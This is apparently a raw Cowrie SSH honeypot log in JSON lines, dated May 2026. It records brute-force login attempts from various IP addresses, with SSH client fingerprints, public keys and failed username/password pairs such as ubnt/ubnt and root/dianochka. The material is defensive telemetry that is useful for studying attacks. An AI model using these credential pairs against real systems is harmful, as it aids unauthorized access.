{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6aNgdvI2c9/nIuX6uu7fDxFcRYsTcYO7QT6TL1wODmeX2ggexpgzJIS1axZw7m4IdVctQvEOsP/mtE/v/vrqlTLKv124ONWwmK27Mk0TTT1wEWT1dXGuo6qwXszmPmfRYoWkEJOYqqGn6YvZtxLDOgikf+hp7wblR+oJ1VGTwz7SDsRAtqUo2vMx4tGBnP60s+ZM3nCnRdwDsHQ2g8sVFktYo9BkHtWWT8EejNBL/FGs1SRzgiJBPkEhsLvdaBmKU4QuJuEsdyeSZoH85GqX3NBUFQx1F7psSJoovRHgXpGAG09IHU2vg45ZL5dhBweZ8YGt4W9KqZxGlQRbEDC7rgnJ4Y3oRNtFig+3kpfHGXevy2I5BzpgSLiWAsvI7EPNHaDOS+uRyOlLuNEMJU762PSQW5UFS8JxB8XTdfZ8dn5eZQyQO9zM1Gv95lDq5XpTZxhZNZvd6wjeko7KRnmwk9rwCIq0Xz08jZELU9ireano7vvFBH7VnNb4SkRpqLZEF7wBV4Etl77AL1H+0IK2biNjA15WTLymBd4Ak6HhKH1YXCsFzokSEtM2A1WhTyvYWkHctL/I+o0dCp61QKZNnlrdnkDXugM+WjmhbCdZzPUByLvWkNiKCsuUKBaywQjC2S1igvtXTBPOIGxnhEfU72eDHBLNqcsVivk4Tj05+IQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.777783Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:15:10:f2:2c:67:8d:77:f1:31:98:07:c3:47:56:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC6aNgdvI2c9/nIuX6uu7fDxFcRYsTcYO7QT6TL1wODmeX2ggexpgzJIS1axZw7m4IdVctQvEOsP/mtE/v/vrqlTLKv124ONWwmK27Mk0TTT1wEWT1dXGuo6qwXszmPmfRYoWkEJOYqqGn6YvZtxLDOgikf+hp7wblR+oJ1VGTwz7SDsRAtqUo2vMx4tGBnP60s+ZM3nCnRdwDsHQ2g8sVFktYo9BkHtWWT8EejNBL/FGs1SRzgiJBPkEhsLvdaBmKU4QuJuEsdyeSZoH85GqX3NBUFQx1F7psSJoovRHgXpGAG09IHU2vg45ZL5dhBweZ8YGt4W9KqZxGlQRbEDC7rgnJ4Y3oRNtFig+3kpfHGXevy2I5BzpgSLiWAsvI7EPNHaDOS+uRyOlLuNEMJU762PSQW5UFS8JxB8XTdfZ8dn5eZQyQO9zM1Gv95lDq5XpTZxhZNZvd6wjeko7KRnmwk9rwCIq0Xz08jZELU9ireano7vvFBH7VnNb4SkRpqLZEF7wBV4Etl77AL1H+0IK2biNjA15WTLymBd4Ak6HhKH1YXCsFzokSEtM2A1WhTyvYWkHctL/I+o0dCp61QKZNnlrdnkDXugM+WjmhbCdZzPUByLvWkNiKCsuUKBaywQjC2S1igvtXTBPOIGxnhEfU72eDHBLNqcsVivk4Tj05+IQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.784515Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.869143Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:45:09:89:62:93:d4:ef:e2:a7:22:91:de:32:99:6c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvjLuByo8trztsRBfnc4TZgpKxkwB/WKWgSDfG8yIuTybQHjj+yY4EROXjAo3nXBE+cd4MaC0vq6+aE9UnNaBhKrVK47Ke1DP3H6kyPLeRRgsEpMOfDj1Ez60f8Pdr+8shVEvF/sXY43AabhGxAiepeumaPQh0ZVs9pTk785oDR9FFnPCwTvskE3pQQuHj+T6+QncsTI70fkBMoqd7BDPONRis5CGbk0IuNnm9Cn5SlDRGE+hSNrIF3yh1Big/sQGUBEtjtPtRjChRYtVh9bTDKZgJSFx9QEpxgA+0pSnwpFN1snj5lBIN1ctoEvdyuGOHAQ7GNVU/P6Yms3Jea+q9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.873302Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:41.957717Z","src_ip":"185.135.157.99","session":"1eb032b4884e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.107.60.45","src_port":40758,"dst_ip":"159.203.135.109","dst_port":22,"session":"144977ab2067","protocol":"ssh","message":"New connection: 103.107.60.45:40758 (159.203.135.109:22) [session: 144977ab2067]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:42.616478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:42.621208Z","src_ip":"103.107.60.45","session":"144977ab2067","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:42.838148Z","src_ip":"103.107.60.45","session":"144977ab2067","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.38.73.89","src_port":59698,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cbfcba81936","protocol":"ssh","message":"New connection: 156.38.73.89:59698 (159.203.135.109:22) [session: 6cbfcba81936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:42.990811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:42.995158Z","src_ip":"156.38.73.89","session":"6cbfcba81936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:43.197917Z","src_ip":"156.38.73.89","session":"6cbfcba81936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678@Abc","message":"login attempt [root/12345678@Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:43.729246Z","src_ip":"103.107.60.45","session":"144977ab2067","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"test123","message":"login attempt [user/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:44.046593Z","src_ip":"156.38.73.89","session":"6cbfcba81936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:44.951034Z","src_ip":"103.107.60.45","session":"144977ab2067","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:45.252934Z","src_ip":"156.38.73.89","session":"6cbfcba81936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.59.89.180","src_port":55064,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd686c54e1eb","protocol":"ssh","message":"New connection: 31.59.89.180:55064 (159.203.135.109:22) [session: fd686c54e1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:50.345302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:50.349605Z","src_ip":"31.59.89.180","session":"fd686c54e1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:50.452526Z","src_ip":"31.59.89.180","session":"fd686c54e1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tmpuser","password":"tmpuser","message":"login attempt [tmpuser/tmpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:50.898587Z","src_ip":"31.59.89.180","session":"fd686c54e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:55:52.005522Z","src_ip":"31.59.89.180","session":"fd686c54e1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":36536,"dst_ip":"159.203.135.109","dst_port":22,"session":"b036b9eabb80","protocol":"ssh","message":"New connection: 103.176.20.57:36536 (159.203.135.109:22) [session: b036b9eabb80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:03.863199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:03.870519Z","src_ip":"103.176.20.57","session":"b036b9eabb80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:04.125580Z","src_ip":"103.176.20.57","session":"b036b9eabb80","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"160686","message":"login attempt [root/160686] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:04.890081Z","src_ip":"103.176.20.57","session":"b036b9eabb80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:06.155042Z","src_ip":"103.176.20.57","session":"b036b9eabb80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":51118,"dst_ip":"159.203.135.109","dst_port":22,"session":"2cbeff7bd67d","protocol":"ssh","message":"New connection: 77.94.47.83:51118 (159.203.135.109:22) [session: 2cbeff7bd67d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:13.781650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:13.785645Z","src_ip":"77.94.47.83","session":"2cbeff7bd67d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:13.897639Z","src_ip":"77.94.47.83","session":"2cbeff7bd67d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dianochka","message":"login attempt [root/dianochka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:14.232754Z","src_ip":"77.94.47.83","session":"2cbeff7bd67d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:15.347626Z","src_ip":"77.94.47.83","session":"2cbeff7bd67d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.1.70","src_port":54596,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bd9040cb3db","protocol":"ssh","message":"New connection: 27.79.1.70:54596 (159.203.135.109:22) [session: 2bd9040cb3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:18.822629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:18.855581Z","src_ip":"27.79.1.70","session":"2bd9040cb3db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:19.094505Z","src_ip":"27.79.1.70","session":"2bd9040cb3db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:22.281790Z","src_ip":"27.79.1.70","session":"2bd9040cb3db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:23.560508Z","src_ip":"27.79.1.70","session":"2bd9040cb3db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.92.7.249","src_port":40682,"dst_ip":"159.203.135.109","dst_port":22,"session":"60340a5d0d99","protocol":"ssh","message":"New connection: 196.92.7.249:40682 (159.203.135.109:22) [session: 60340a5d0d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:37.476192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T10:56:37.481052Z","src_ip":"196.92.7.249","session":"60340a5d0d99","protocol":"ssh"}
